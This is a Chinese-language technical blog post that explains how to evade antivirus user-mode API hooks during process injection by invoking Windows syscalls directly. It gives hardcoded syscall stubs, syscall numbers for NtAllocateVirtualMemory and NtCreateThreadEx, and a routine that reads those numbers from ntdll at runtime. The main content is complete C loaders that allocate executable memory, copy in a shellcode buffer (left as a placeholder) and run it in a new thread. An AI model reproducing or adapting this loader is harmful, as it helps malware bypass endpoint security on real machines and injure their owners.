使用系统调用SYSCALL规避杀软HOOK
在进程注入的时候会出现一些敏感函数被HOOK的情况
像VirtualAllocEx,WriteProcessMemory都是重点关注的函数
本文通过直接调用系统调用号绕过杀软HOOK,syscall限于64位
0x01 系统调用号
打个比方
VirtualAllocEx不是用户层的最后一个函数
VirtualAllocEx->VirtualAllocExNuma->ZwAllocateVirtualMemory
最后ZwAllocateVirtualMemory函数进入内核层
这些底层的函数都有一个数字,在windows10的情况下ZwAllocateVirtualMemory对应的号就是0x18号
简单说就是底层函数对应的那个数字就是系统调用号
下面用dbg跟一下VirtualAllocEx
这是主函数里面VirtualAllocEx用F7跟进
上面调整下堆栈,然后jmp到VirtualAllocEx函数位置
这里看到调用了VirtualAllocExNuma
这里就调到了ntdll.dll里面的ZwAllocateVirtualMemory,基本到ntdll.dll里面是用户层底层函数了
到这里就可以看到调用号是18了,上面也有一些别的调用号对应的函数
1 2 3 4 5 6
| mov r10,rcx mov eax,18 test byte ptr ds:[7FFE0308],1 jne ntdll.7FFAA5D22B15 syscall ret
|
上面这段就是执行系统调用号对应的函数
test byte ptr ds:[7FFE0308],1
jne ntdll.7FFAA5D22B15
这是用来校验的可以删掉
1 2 3 4
| mov r10,rcx mov eax,18 #将系统调用号存入eax中 syscall #进入内核层 ret
|
上面的四行就可以调用用户层最下层函数
不同系统的系统调用号是不同的,可以在下面这个网站查询,找不到的函数Zw修改Nt就可以
https://j00ru.vexillium.org/syscalls/nt/64/
0x02 代码实现
VirtualAllocEx -> NtAllocateVirtualMemory -> 0x18
WriteMemory -> NtWriteVirtualMemory -> 0x3a
CreateRemoteThread -> NtCreateThreadEx -> 0xc6
这是三个敏感函数对应的底层函数
这次不使用NtWriteVirtualMemory函数就用普通的WriteMemory写内存,因为NtWriteVirtualMemory涉及内存保护比较麻烦
ZwOpenProcess->ZwProtectVirtualMemory->ZwWriteVirtualMemory
要这样写,还没研究过就先不看了
上面的系统调用号都是windows11的,网站上只到windows10,所以有些对不上
这里就不写找的过程了,和上面是相同的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| #include <stdio.h> #include <windows.h> #pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
char syscall_sc[] = { 0x4c, 0x8b, 0xd1, 0xb8, 0xb9, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc3 };
typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect );
typedef DWORD(WINAPI* fnNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpstartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnknow );
int main() {
SIZE_T SIZE = 0x1000; LPVOID Address NULL; HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1); syscall_sc[4] = 0x18; fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc; NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); syscall_sc[4] = 0xc6; fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; HANDLE hRemoteThread; DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0); }
|
写过Hook的师傅可能知道,内联Hook都是直接修改函数的汇编,把正常执行的汇编跳到某个想执行的地方
上述方法直接调用底层函数,普通的Hook已经定位不到了,再高级一点Hook住ntdll.dll也是没用的,因为这里的syscall并不是通过ntdll.dll的,理论上来说已经避免了R3的Hook了
0x03 动态获取系统调用号
上面的代码还有个问题,不同版本的系统系统调用号也是不同的,甚至有些小版本的系统调用号也不同,这样写兼容肯定是很不好的,需要找到一种动态获取系统调用号的方法
先看一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include<stdio.h> #include<Windows.h> #pragma comment(linker, "/section:.data,RWE")
typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect );
int main() { SIZE_T SIZE = 0x1000;
LPVOID Address = NULL; fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
|
用dbg查看下
GetProcAddress得到了函数指针存在ebx然后call过去
这里过去同样可以找到syscall号
可以通过得到函数指针,往后推四个字节得到syscall号
可以写个函数实现一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| #include <stdio.h> #include <windows.h> #pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
char syscall_sc[] = { 0x4c, 0x8b, 0xd1, 0xb8, 0xb9, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc3 };
typedef LPVOID (WINAPI* fnNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect );
typedef DWORD(WINAPI* fnNtCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpstartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnknow );
int GetSysCall(LPCSTR FuncName) { SIZE_T num; char sc[5]; LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName); ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num); return sc[4]; }
int main() {
SIZE_T SIZE = 0x1000; LPVOID Address= NULL; ULONG write; HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, -1); syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory"); fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc; NtAllocateVirtualMemory(process, &Address, 0, &SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(process, Address, buf, sizeof(buf), NULL); syscall_sc[4] = GetSysCall("NtCreateThreadEx"); fnNtCreateThreadEx NtCreateThreadEx = (fnNtCreateThreadEx)&syscall_sc; HANDLE hRemoteThread; DWORD ZwRet = NtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)Address, NULL, 0, 0, 0, 0, 0); system(" pause");
}
|
这样就实现了动态获取系统调用号
0x04 参考
https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
https://idiotc4t.com/defense-/dynamic-get-syscallid